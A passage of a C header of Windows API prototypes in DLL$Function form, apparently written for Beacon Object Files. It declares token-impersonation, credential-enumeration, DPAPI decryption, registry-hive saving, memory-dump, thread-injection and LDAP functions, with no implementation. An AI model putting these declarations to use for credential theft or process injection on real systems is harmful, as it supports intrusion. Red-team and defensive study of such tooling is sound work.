SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, PHANDLE phNewToken);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser(HANDLE hToken);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ImpersonateNamedPipeClient(HANDLE hNamedPipe);\nWINADVAPI WINBOOL WINAPI ADVAPI32$SetThreadToken(PHANDLE Thread, HANDLE Token);\nWINADVAPI WINBOOL WINAPI ADVAPI32$RevertToSelf(VOID);\nWINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserA(LPCSTR lpszUsername, LPCSTR lpszDomain, LPCSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken);\nWINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CreateProcessAsUserW(HANDLE hToken, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, WINBOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CreateProcessWithTokenW(HANDLE hToken, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);\nWINADVAPI DWORD   WINAPI ADVAPI32$GetLengthSid(PSID pSid);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CopySid(DWORD nDestinationSidLength, PSID pDestinationSid, PSID pSourceSid);\nWINADVAPI WINBOOL WINAPI ADVAPI32$GetFileSecurityA(LPCSTR lpFileName, SECURITY_INFORMATION RequestedInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD nLength, LPDWORD lpnLengthNeeded);\nWINADVAPI WINBOOL WINAPI ADVAPI32$AccessCheck(PSECURITY_DESCRIPTOR pSecurityDescriptor, HANDLE ClientToken, DWORD DesiredAccess, PGENERIC_MAPPING GenericMapping, PPRIVILEGE_SET PrivilegeSet, LPDWORD PrivilegeSetLength, LPDWORD GrantedAccess, LPBOOL AccessStatus);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CredEnumerateW(LPCWSTR Filter, DWORD Flags, DWORD *Count, PCREDENTIALW **Credentials);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CredEnumerateA(LPCSTR Filter, DWORD Flags, DWORD *Count, PCREDENTIALA **Credentials);\nWINADVAPI VOID    WINAPI ADVAPI32$CredFree(PVOID Buffer);\nWINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceObjectSecurity(SC_HANDLE hService, SECURITY_INFORMATION dwSecurityInformation, PSECURITY_DESCRIPTOR lpSecurityDescriptor, DWORD cbBufSize, LPDWORD pcbBytesNeeded);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CheckTokenMembership(HANDLE TokenHandle, PSID SidToCheck, PBOOL IsMember);\nWINADVAPI WINBOOL WINAPI ADVAPI32$EqualSid(PSID pSid1, PSID pSid2);\nWINADVAPI WINBOOL WINAPI ADVAPI32$AllocateAndInitializeSid(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority, BYTE nSubAuthorityCount, DWORD nSubAuthority0, DWORD nSubAuthority1, DWORD nSubAuthority2, DWORD nSubAuthority3, DWORD nSubAuthority4, DWORD nSubAuthority5, DWORD nSubAuthority6, DWORD nSubAuthority7, PSID *pSid);\nWINADVAPI PVOID   WINAPI ADVAPI32$FreeSid(PSID pSid);\nWINADVAPI PDWORD  WINAPI ADVAPI32$GetSidSubAuthority(PSID pSid, DWORD nSubAuthority);\nWINADVAPI PUCHAR  WINAPI ADVAPI32$GetSidSubAuthorityCount(PSID pSid);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CryptAcquireContextA(HCRYPTPROV *phProv, LPCSTR szContainer, LPCSTR szProvider, DWORD dwProvType, DWORD dwFlags);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CryptCreateHash(HCRYPTPROV hProv, ALG_ID Algid, HCRYPTKEY hKey, DWORD dwFlags, HCRYPTHASH *phHash);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CryptReleaseContext(HCRYPTPROV hProv, DWORD dwFlags);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CryptHashData(HCRYPTHASH hHash, const BYTE *pbData, DWORD dwDataLen, DWORD dwFlags);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CryptDestroyHash(HCRYPTHASH hHash);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CryptGetHashParam(HCRYPTHASH hHash, DWORD dwParam, BYTE *pbData, DWORD *pdwDataLen, DWORD dwFlags);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CryptImportKey(HCRYPTPROV hProv, const BYTE *pbData, DWORD dwDataLen, HCRYPTKEY hPubKey, DWORD dwFlags, HCRYPTKEY *phKey);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CryptSetKeyParam(HCRYPTKEY hKey, DWORD dwParam, const BYTE *pbData, DWORD dwFlags);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CryptDecrypt(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE *pbData, DWORD *pdwDataLen);\nWINADVAPI WINBOOL WINAPI ADVAPI32$CryptDestroyKey(HCRYPTKEY hKey);\nWINADVAPI LONG    WINAPI ADVAPI32$RegGetValueA(HKEY hkey, LPCSTR lpSubKey, LPCSTR lpValue, DWORD dwFlags, LPDWORD pdwType, PVOID pvData, LPDWORD pcbData);\nWINADVAPI LONG    WINAPI ADVAPI32$RegSaveKeyA(HKEY hKey, LPCSTR lpFile, LPSECURITY_ATTRIBUTES lpSecurityAttributes);\nWINADVAPI LONG    WINAPI ADVAPI32$RegDeleteTreeA(HKEY base, LPCSTR subkey);\nWINADVAPI WINBOOL WINAPI ADVAPI32$ConvertStringSecurityDescriptorToSecurityDescriptorA(LPCSTR StringSecurityDescriptor,DWORD StringSDRevision,PSECURITY_DESCRIPTOR *SecurityDescriptor,PULONG SecurityDescriptorSize);\nWINADVAPI BOOLEAN WINAPI ADVAPI32$SystemFunction036(PVOID RandomBuffer, ULONG RandomBufferLength);\nWINADVAPI LSTATUS WINAPI ADVAPI32$RegOpenKeyW(HKEY hKey, LPCWSTR lpSubKey, PHKEY phkResult);\nWINADVAPI LONG    WINAPI ADVAPI32$RegQueryInfoKeyW(HKEY hKey, LPWSTR lpClass, LPDWORD lpcchClass, LPDWORD lpReserved, LPDWORD lpcSubKeys, LPDWORD lpcMaxSubKeyLen, LPDWORD lpcMaxClassLen, LPDWORD lpcValues, LPDWORD lpcMaxValueNameLen, LPDWORD lpcMaxValueLen, LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime);\nWINADVAPI LSTATUS WINAPI ADVAPI32$RegLoadKeyA(HKEY, LPCSTR, LPCSTR);\nWINADVAPI LSTATUS WINAPI ADVAPI32$RegUnLoadKeyA(HKEY hKey, LPCSTR lpSubKey);\n\n\n//NTDLL\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtCreateFile(PHANDLE FileHandle,ACCESS_MASK DesiredAccess,POBJECT_ATTRIBUTES ObjectAttributes,PIO_STATUS_BLOCK IoStatusBlock,PLARGE_INTEGER AllocationSize,ULONG FileAttributes,ULONG ShareAccess,ULONG CreateDisposition,ULONG CreateOptions,PVOID EaBuffer,ULONG EaLength);\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtClose(HANDLE Handle);\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtFsControlFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,ULONG IoControlCode,PVOID InputBuffer,ULONG InputBufferLength,PVOID OutputBuffer,ULONG OutputBufferLength);\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtAllocateVirtualMemory(HANDLE ProcessHandle, PVOID * BaseAddress, ULONG ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtProtectVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection);\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtFreeVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType);\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtFlushInstructionCache(HANDLE ProcessHandle, PVOID BaseAddress, ULONG FlushSize);\nWINBASEAPI BOOLEAN NTSYSAPI NTDLL$RtlCreateUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString);\nWINBASEAPI NTSTATUS NTAPI NTDLL$RtlUnicodeStringToAnsiString(PANSI_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString);\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, int MemoryInformationClass, PVOID MemoryInformation, SIZE_T MemoryInformationLength, PSIZE_T ReturnLength);\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtCreateThreadEx(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID AttributeList);\nWINBASEAPI SIZE_T NTSYSAPI NTDLL$RtlCompareMemory(VOID *Source1, VOID *Source2, SIZE_T Length);\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtGetContextThread(HANDLE, PCONTEXT);\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtSetContextThread(HANDLE, PCONTEXT);\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtQueryInformationProcess(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtReadFile(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key);\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtWriteFile(HANDLE FileHandle, HANDLE Event, PIO_APC_ROUTINE ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key);\nWINBASEAPI VOID     NTAPI NTDLL$RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString);\nWINBASEAPI VOID     NTAPI NTDLL$RtlZeroMemory(PVOID Destination, SIZE_T Length);\nDECLSPEC_IMPORT NTSTATUS WINAPI NTDLL$NtQuerySystemInformation(int SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);\nDECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryObject(HANDLE Handle, OBJECT_INFORMATION_CLASS ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength);\n\n//IMAGEHLP\nWINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageEnumerateCertificates(HANDLE FileHandle,WORD TypeFilter,PDWORD CertificateCount,PDWORD Indices,DWORD IndexCount);\nWINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageGetCertificateHeader(HANDLE FileHandle,DWORD CertificateIndex,LPWIN_CERTIFICATE Certificateheader);\nWINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageGetCertificateData(HANDLE FileHandle,DWORD CertificateIndex,LPWIN_CERTIFICATE Certificate,PDWORD RequiredLength);\n\n//crypt32\nWINIMPM WINBOOL WINAPI CRYPT32$CryptVerifyMessageSignature (PCRYPT_VERIFY_MESSAGE_PARA pVerifyPara, DWORD dwSignerIndex, const BYTE *pbSignedBlob, DWORD cbSignedBlob, BYTE *pbDecoded, DWORD *pcbDecoded, PCCERT_CONTEXT *ppSignerCert);\nWINIMPM DWORD WINAPI CRYPT32$CertGetNameStringW (PCCERT_CONTEXT pCertContext, DWORD dwType, DWORD dwFlags, void *pvTypePara, LPWSTR pszNameString, DWORD cchNameString);\nWINIMPM PCCERT_CONTEXT WINAPI CRYPT32$CertCreateCertificateContext (DWORD dwCertEncodingType, const BYTE *pbCertEncoded, DWORD cbCertEncoded);\nWINIMPM WINBOOL WINAPI CRYPT32$CertFreeCertificateContext (PCCERT_CONTEXT pCertContext);\nWINIMPM WINBOOL WINAPI CRYPT32$CertGetCertificateContextProperty (PCCERT_CONTEXT pCertContext, DWORD dwPropId, void *pvData, DWORD *pcbData);\nWINIMPM WINBOOL WINAPI CRYPT32$CertGetCertificateChain (HCERTCHAINENGINE hChainEngine, PCCERT_CONTEXT pCertContext, LPFILETIME pTime, HCERTSTORE hAdditionalStore, PCERT_CHAIN_PARA pChainPara, DWORD dwFlags, LPVOID pvReserved, PCCERT_CHAIN_CONTEXT *ppChainContext);\nWINIMPM VOID WINAPI CRYPT32$CertFreeCertificateChain (PCCERT_CHAIN_CONTEXT pChainContext);\nWINIMPM PCCRYPT_OID_INFO WINAPI CRYPT32$CryptFindOIDInfo (DWORD dwKeyType, void *pvKey, DWORD dwGroupId);\nWINBASEAPI BOOL WINAPI CRYPT32$CryptUnprotectData(DATA_BLOB *pDataIn, LPWSTR *ppszDataDescr, DATA_BLOB *pOptionalEntropy, PVOID pvReserved, CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct, DWORD dwFlags, DATA_BLOB *pDataOut);\nWINBASEAPI BOOL WINAPI CRYPT32$CryptStringToBinaryA(LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE *pbBinary, DWORD *pcbBinary, DWORD *pdwSkip, DWORD *pdwFlags);\nWINBASEAPI BOOL WINAPI CRYPT32$CryptStringToBinaryW(LPCWSTR pszString, DWORD cchString, DWORD dwFlags, BYTE *pbBinary, DWORD *pcbBinary, DWORD *pdwSkip, DWORD *pdwFlags);\nWINIMPM WINBOOL WINAPI CRYPT32$CryptEncodeObjectEx (DWORD dwCertEncodingType, LPCSTR lpszStructType, const void *pvStructInfo, DWORD dwFlags, PCRYPT_ENCODE_PARA pEncodePara, void *pvEncoded, DWORD *pcbEncoded);\nWINIMPM WINBOOL WINAPI CRYPT32$CryptBinaryToStringW (CONST BYTE *pbBinary, DWORD cbBinary, DWORD dwFlags, LPWSTR pszString, DWORD *pcchString);\nWINIMPM HCERTSTORE WINAPI CRYPT32$PFXImportCertStore (CRYPT_DATA_BLOB *pPFX, LPCWSTR szPassword, DWORD dwFlags);\nWINIMPM PCCERT_CONTEXT WINAPI CRYPT32$CertEnumCertificatesInStore (HCERTSTORE hCertStore, PCCERT_CONTEXT pPrevCertContext);\nWINIMPM WINBOOL WINAPI CRYPT32$CertAddCertificateContextToStore (HCERTSTORE hCertStore, PCCERT_CONTEXT pCertContext, DWORD dwAddDisposition, PCCERT_CONTEXT *ppStoreContext);\nWINIMPM HCERTSTORE WINAPI CRYPT32$CertOpenStore (LPCSTR lpszStoreProvider, DWORD dwEncodingType, HCRYPTPROV_LEGACY hCryptProv, DWORD dwFlags, const void *pvPara);\nWINIMPM WINBOOL WINAPI CRYPT32$CertCloseStore (HCERTSTORE hCertStore, DWORD dwFlags);\nWINIMPM WINBOOL WINAPI CRYPT32$CertDeleteCertificateFromStore (PCCERT_CONTEXT pCertContext);\nWINIMPM WINBOOL WINAPI CRYPT32$CryptBinaryToStringA (CONST BYTE *pbBinary, DWORD cbBinary, DWORD dwFlags, LPSTR pszString, DWORD *pcchString);\nWINIMPM PCCERT_CONTEXT WINAPI CRYPT32$CertFindCertificateInStore (HCERTSTORE hCertStore, DWORD dwCertEncodingType, DWORD dwFindFlags, DWORD dwFindType, const void *pvFindPara, PCCERT_CONTEXT pPrevCertContext);\nWINIMPM WINBOOL WINAPI CRYPT32$CertSetCertificateContextProperty (PCCERT_CONTEXT pCertContext, DWORD dwPropId, DWORD dwFlags, const void *pvData);\nWINIMPM WINBOOL WINAPI CRYPT32$PFXExportCertStoreEx (HCERTSTORE hStore, CRYPT_DATA_BLOB *pPFX, LPCWSTR szPassword, void *pvPara, DWORD dwFlags);\n\n\n//WS2_32\n// defining this here to avoid including ws2tcpip.h which results in include order warnings when bofs include windows.h before bofdefs.h\n#ifndef _WS2TCPIP_H_\ntypedef struct addrinfo {\n    int ai_flags;\n    int ai_family;\n    int ai_socktype;\n    int ai_protocol;\n    size_t ai_addrlen;\n    char *ai_canonname;\n    struct sockaddr *ai_addr;\n    struct addrinfo *ai_next;\n} ADDRINFOA,*PADDRINFOA;\n#endif\n\n//WS2_32\nDECLSPEC_IMPORT int __stdcall WS2_32$WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData);\nDECLSPEC_IMPORT int __stdcall WS2_32$WSACleanup(void);\nDECLSPEC_IMPORT int __stdcall WS2_32$connect(SOCKET sock, const struct sockaddr* name, int namelen);\nDECLSPEC_IMPORT int __stdcall WS2_32$closesocket(SOCKET sock);\nDECLSPEC_IMPORT void __stdcall WS2_32$freeaddrinfo(struct addrinfo* ai);\nDECLSPEC_IMPORT int __stdcall WS2_32$getaddrinfo(char* host, char* port, const struct addrinfo* hints, struct addrinfo** result);\nDECLSPEC_IMPORT u_long __stdcall WS2_32$htonl(u_long hostlong);\nDECLSPEC_IMPORT u_short __stdcall WS2_32$htons(u_short hostshort);\nDECLSPEC_IMPORT char * __stdcall WS2_32$inet_ntoa(struct in_addr in);\nDECLSPEC_IMPORT int __stdcall WS2_32$ioctlsocket(SOCKET sock, long cmd, u_long* arg);\nDECLSPEC_IMPORT int __stdcall WS2_32$select(int nfds, fd_set* readfds, fd_set* writefds, fd_set* exceptfds, const struct timeval* timeout);\nDECLSPEC_IMPORT unsigned int __stdcall WS2_32$socket(int af, int type, int protocol);\nDECLSPEC_IMPORT int __stdcall WS2_32$__WSAFDIsSet(SOCKET sock, struct fd_set* fdset);\nDECLSPEC_IMPORT int __stdcall WS2_32$WSAGetLastError();\nDECLSPEC_IMPORT LPCWSTR WINAPI WS2_32$InetNtopW(INT Family, LPCVOID pAddr, LPWSTR pStringBuf, size_t StringBufSIze);\nDECLSPEC_IMPORT INT WINAPI WS2_32$inet_pton(INT Family, LPCSTR pStringBuf, PVOID pAddr);\nDECLSPEC_IMPORT u_short __stdcall WS2_32$ntohs(u_short netshort);\nDECLSPEC_IMPORT int __stdcall WS2_32$send(SOCKET s, const char *buf, int len, int flags);\nDECLSPEC_IMPORT int __stdcall WS2_32$recv(SOCKET s, char *buf, int len, int flags);\n\n//dnsapi\nDECLSPEC_IMPORT VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType);\nDECLSPEC_IMPORT int  WINAPI DNSAPI$DnsGetCacheDataTable(PVOID data);\n\n//OLE32\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx (LPVOID pvReserved, DWORD dwCoInit);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoUninitialize (void);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeSecurity (PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE *asAuthSvc, void *pReserved1, DWORD dwAuthnLevel, DWORD dwImpLevel, void *pAuthList, DWORD dwCapabilities, void *pReserved3);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CLSIDFromString (LPCOLESTR lpsz, LPCLSID pclsid);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$IIDFromString (LPCOLESTR lpsz, LPIID lpiid);\nDECLSPEC_IMPORT int     WINAPI OLE32$StringFromGUID2 (REFGUID rguid, LPOLESTR lpsz, int cchMax);\nDECLSPEC_IMPORT\tHRESULT WINAPI OLE32$CoSetProxyBlanket(IUnknown* pProxy, DWORD dwAuthnSvc, DWORD dwAuthzSvc, OLECHAR* pServerPrincName, DWORD dwAuthnLevel, DWORD dwImpLevel, RPC_AUTH_IDENTITY_HANDLE pAuthInfo, DWORD dwCapabilities);\nDECLSPEC_IMPORT LPVOID\tWINAPI OLE32$CoTaskMemAlloc(SIZE_T cb);\nDECLSPEC_IMPORT void\tWINAPI OLE32$CoTaskMemFree(LPVOID pv);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitialize(LPVOID pvReserved);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoImpersonateClient(void);\nDECLSPEC_IMPORT BOOL    WINAPI OLE32$IsEqualGUID(REFGUID rguid1, REFGUID rguid2);\n\n//OLEAUT32\nDECLSPEC_IMPORT BSTR\tWINAPI OLEAUT32$SysAllocString(const OLECHAR *);\nDECLSPEC_IMPORT BSTR\tWINAPI OLEAUT32$SysAllocStringByteLen(LPCSTR psz, UINT len);\nDECLSPEC_IMPORT INT\t\tWINAPI OLEAUT32$SysReAllocString(BSTR *, const OLECHAR *);\nDECLSPEC_IMPORT void\tWINAPI OLEAUT32$SysFreeString(BSTR);\nDECLSPEC_IMPORT UINT\tWINAPI OLEAUT32$SysStringLen(BSTR);\nDECLSPEC_IMPORT UINT\tWINAPI OLEAUT32$SysStringByteLen(BSTR);\nDECLSPEC_IMPORT void\tWINAPI OLEAUT32$VariantInit(VARIANTARG *pvarg);\nDECLSPEC_IMPORT void\tWINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg);\nDECLSPEC_IMPORT HRESULT\tWINAPI OLEAUT32$SysAddRefString(BSTR);\nDECLSPEC_IMPORT HRESULT\tWINAPI OLEAUT32$VariantChangeType(VARIANTARG *pvargDest, VARIANTARG *pvarSrc, USHORT wFlags, VARTYPE vt);\nDECLSPEC_IMPORT void\tWINAPI OLEAUT32$VarFormatDateTime(LPVARIANT pvarIn,int iNamedFormat,ULONG dwFlags,BSTR *pbstrOut);\nDECLSPEC_IMPORT void\tWINAPI OLEAUT32$SafeArrayDestroy(SAFEARRAY *psa);\nDECLSPEC_IMPORT HRESULT\tWINAPI OLEAUT32$SafeArrayLock(SAFEARRAY *psa);\nDECLSPEC_IMPORT HRESULT\tWINAPI OLEAUT32$SafeArrayGetLBound(SAFEARRAY *psa, UINT nDim, LONG *plLbound);\nDECLSPEC_IMPORT HRESULT\tWINAPI OLEAUT32$SafeArrayGetUBound(SAFEARRAY *psa, UINT nDim, LONG *plUbound);\nDECLSPEC_IMPORT HRESULT\tWINAPI OLEAUT32$SafeArrayGetElement(SAFEARRAY *psa, LONG *rgIndices, void *pv);\nDECLSPEC_IMPORT UINT\tWINAPI OLEAUT32$SafeArrayGetElemsize(SAFEARRAY *psa);\nDECLSPEC_IMPORT HRESULT\tWINAPI OLEAUT32$SafeArrayAccessData(SAFEARRAY *psa,void HUGEP **ppvData);\nDECLSPEC_IMPORT HRESULT\tWINAPI OLEAUT32$SafeArrayUnaccessData(SAFEARRAY *psa);\n\n//dbghelp\nDECLSPEC_IMPORT WINBOOL WINAPI DBGHELP$MiniDumpWriteDump(HANDLE hProcess,DWORD ProcessId,HANDLE hFile,MINIDUMP_TYPE DumpType,CONST PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,CONST PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,CONST PMINIDUMP_CALLBACK_INFORMATION CallbackParam);\n\n//WLDAP32\nWINLDAPAPI LDAP* LDAPAPI WLDAP32$ldap_init(PSTR, ULONG);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_bind_s(LDAP *ld,const PSTR  dn,const PCHAR cred,ULONG method);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_search_s(LDAP *ld,PSTR base,ULONG scope,PSTR filter,PZPSTR attrs,ULONG attrsonly,PLDAPMessage *res);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_count_entries(LDAP*,LDAPMessage*);\nWINLDAPAPI struct berval **LDAPAPI WLDAP32$ldap_get_values_lenA (LDAP *ExternalHandle,LDAPMessage *Message,const PCHAR attr);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_value_free_len(struct berval **vals);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_set_optionA(LDAP *ld,int option,const void *invalue);\nWINLDAPAPI PLDAPSearch LDAPAPI WLDAP32$ldap_search_init_pageA(PLDAP ExternalHandle,const PCHAR DistinguishedName,ULONG ScopeOfSearch,const PCHAR SearchFilter,PCHAR AttributeList[],ULONG AttributesOnly,PLDAPControlA *ServerControls,PLDAPControlA *ClientControls,ULONG PageTimeLimit,ULONG TotalSizeLimit,PLDAPSortKeyA *SortKeys);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_get_paged_count(PLDAP ExternalHandle,PLDAPSearch SearchBlock,ULONG *TotalCount,PLDAPMessage Results);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_get_next_page_s(PLDAP ExternalHandle,PLDAPSearch SearchHandle,struct l_timeval *timeout,ULONG PageSize,ULONG *TotalCount,LDAPMessage **Results);\n\nWINLDAPAPI LDAPMessage* LDAPAPI WLDAP32$ldap_first_entry(LDAP *ld,LDAPMessage *res);\nWINLDAPAPI LDAPMessage* LDAPAPI WLDAP32$ldap_next_entry(LDAP*,LDAPMessage*);\nWINLDAPAPI PCHAR  LDAPAPI WLDAP32$ldap_first_attribute(LDAP *ld,LDAPMessage *entry,BerElement **ptr);\nWINLDAPAPI ULONG  LDAPAPI WLDAP32$ldap_count_values(PCHAR);\nWINLDAPAPI PCHAR* LDAPAPI WLDAP32$ldap_get_values(LDAP *ld,LDAPMessage *entry,const PSTR attr);\nWINLDAPAPI ULONG  LDAPAPI WLDAP32$ldap_value_free(PCHAR *);\nWINLDAPAPI PCHAR  LDAPAPI WLDAP32$ldap_next_attribute(LDAP *ld,LDAPMessage *entry,BerElement *ptr);\nWINLDAPAPI VOID   LDAPAPI WLDAP32$ber_free(BerElement *pBerElement,INT fbuf);\nWINLDAPAPI VOID   LDAPAPI WLDAP32$ldap_memfree(PCHAR);\n\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_unbind(LDAP*);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_unbind_s(LDAP*);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_msgfree(LDAPMessage*);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_set_option(LDAP *ld, int option, void *invalue);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_add_s(LDAP *ld, PSTR dn, LDAPModA *mods[]);\nWINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_modify_s(LDAP *ld, PSTR dn, LDAPModA *mods[]);\nWINLDAPAPI PSTR  LDAPAPI WLDAP32$ldap_err2string(ULONG err);\nWINBERAPI BerElement* BERAPI WLDAP32$ber_alloc_t(INT options);\nWINBERAPI INT   BERAPI WLDAP32$ber_printf(BerElement *pBerElement, PSTR fmt, ...);\nWINBERAPI INT   BERAPI WLDAP32$ber_flatten(BerElement *pBerElement, PBERVAL *pBerVal);\nWINLDAPAPI VOID LDAPAPI WLDAP32$ber_bvfree(PBERVAL bv);\n\n//RPCRT4\nRPCRTAPI RPC_STATUS RPC_ENTRY RPCRT4$UuidToStringA(UUID *Uuid,RPC_CSTR *StringUuid);\nRPCRTAPI RPC_STATUS RPC_ENTRY RPCRT4$RpcStringFreeA(RPC_CSTR *String);\n\n//PSAPI\nDECLSPEC_IMPORT WINBOOL WINAPI PSAPI$EnumProcessModulesEx(HANDLE hProcess, HMODULE *lphModule, DWORD cb, LPDWORD lpcbNeeded, DWORD dwFilterFlag);\nDECLSPEC_IMPORT BOOL    WINAPI PSAPI$EnumProcessModules(HANDLE HProcess, HMODULE *lphModule, DWORD cb, LPDWORD lpcbNeeded);\nDECLSPEC_IMPORT DWORD   WINAPI PSAPI$GetModuleFileNameExA(HANDLE hProcess, HMODULE hModule, LPSTR lpFilename, DWORD nSize);\n\n//SHELL32\nWINBASEAPI LPWSTR*   WINAPI SHELL32$CommandLineToArgvW(LPCWSTR lpCMdLine, int* pNumArgs);\nWINBASEAPI BOOL      WINAPI SHELL32$ShellExecuteExW(LPSHELLEXECUTEINFOW pExecInfo);\nWINBASEAPI HINSTANCE WINAPI SHELL32$ShellExecuteA(HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd);\nWINBASEAPI WINBOOL   WINAPI SHELL32$ShellExecuteExA(SHELLEXECUTEINFOA *pExecInfo);\n\n//BCRYPT\nDECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptOpenAlgorithmProvider(BCRYPT_ALG_HANDLE *phAlgorithm, LPCWSTR pszAlgId, LPCWSTR pszImplementation, ULONG dwFlags);\nDECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptCloseAlgorithmProvider(BCRYPT_ALG_HANDLE hAlgorithm, ULONG dwFlags);\nDECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptGetProperty(BCRYPT_HANDLE hObject, 